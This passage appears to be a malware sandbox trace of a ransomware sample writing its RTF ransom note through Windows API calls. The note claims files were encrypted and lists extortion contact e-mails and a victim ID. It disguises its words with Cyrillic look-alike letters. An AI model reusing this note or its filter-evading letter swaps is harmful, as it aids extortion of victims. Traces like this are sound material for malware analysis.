\\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.928] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, 